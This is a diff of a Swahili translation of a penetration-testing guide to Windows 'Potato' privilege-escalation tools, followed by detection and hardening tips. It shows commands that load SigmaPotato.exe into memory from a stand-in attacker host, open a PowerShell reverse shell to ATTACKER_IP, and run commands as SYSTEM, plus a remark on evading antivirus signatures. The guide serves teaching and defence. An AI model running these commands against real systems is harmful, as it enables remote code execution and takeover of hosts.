![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato inatoa aina mbili zinazolenga obyekti za DCOM za huduma ambazo kwa chaguo-msingi huwa na RPC_C_IMP_LEVEL_IMPERSONATE. Jenga au tumia binaries zilizotolewa na endesha amri yako: +DCOMPotato inatoa matoleo mawili zinazolenga service DCOM objects ambazo kwa chaguo-msingi huweka RPC_C_IMP_LEVEL_IMPERSONATE. Jenga au tumia binaries zilizotolewa kisha endesha amri yako: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (tawi la GodPotato lililosasishwa) +### SigmaPotato (imeboreshwa fork ya GodPotato) -SigmaPotato inaongeza vipengele vya kisasa kama in-memory execution kupitia .NET reflection na msaidizi wa PowerShell reverse shell. +SigmaPotato inaongeza vipengele vya kisasa kama in-memory execution kwa kutumia .NET reflection na PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -148,13 +148,13 @@ SigmaPotato inaongeza vipengele vya kisasa kama in-memory execution kupitia .NET # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Vidokezo vya utambuzi na kuimarisha usalama +## Vidokezo vya ugundaji na kuimarisha -- Fuatilia michakato inayounda named pipes na mara moja kuita token-duplication APIs ikifuatiwa na CreateProcessAsUser/CreateProcessWithTokenW. Sysmon inaweza kuonyesha telemetry muhimu: Event ID 1 (process creation), 17/18 (named pipe created/connected), na command lines zinazozalisha child processes kama SYSTEM. -- Kuimarisha Spooler: Kuzima huduma ya Print Spooler kwenye servers ambapo haifai kunahitajika kunazuia coerctions za ndani za aina ya PrintSpoofer kupitia spoolss. -- Kuimarisha akaunti za huduma: Punguza utoaji wa SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege kwa custom services. Fikiria kuendesha services chini ya virtual accounts zenye least privileges zinazohitajika na kuzitenga kwa kutumia service SID na write-restricted tokens inapowezekana. -- Udhibiti wa mtandao: Kuzuia outbound TCP/135 au kupunguza trafiki ya RPC endpoint mapper kunaweza kuvunja RoguePotato isipokuwa internal redirector inapatikane. -- EDR/AV: Zana hizi zote zina saini zinazotambulika kwa wingi. Recompiling kutoka source, kubadilisha symbols/strings, au kutumia in-memory execution kunaweza kupunguza utambuzi lakini haitavunja behavioral detections thabiti. +- Angalia processes zinazounda named pipes na mara moja kuita token-duplication APIs ikifuatiwa na CreateProcessAsUser/CreateProcessWithTokenW. Sysmon inaweza kuonyesha telemetry muhimu: Event ID 1 (process creation), 17/18 (named pipe created/connected), na command lines zinazozalisha child processes kama SYSTEM. +- Spooler hardening: Kuizima Print Spooler service kwenye servers ambapo haitegemeiuzu huzuia PrintSpoofer-style local coercions kupitia spoolss. +- Service account hardening: Punguza utoaji wa SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege kwa custom services. Fikiria kuendesha services chini ya virtual accounts zenye least privileges zinazohitajika na kuziwekea isolations kwa service SID na write-restricted tokens inapowezekana. +- Network controls: Ku/block outbound TCP/135 au kuzuia RPC endpoint mapper traffic kunaweza kuvunja RoguePotato isipokuwa internal redirector ipo. +- EDR/AV: Zana hizi zote zina signatures nyingi. Recompiling from source, kubadili majina ya symbols/strings, au kutumia in-memory execution kunaweza kupunguza detection lakini haitashinda behavioral detections imara. ## Marejeo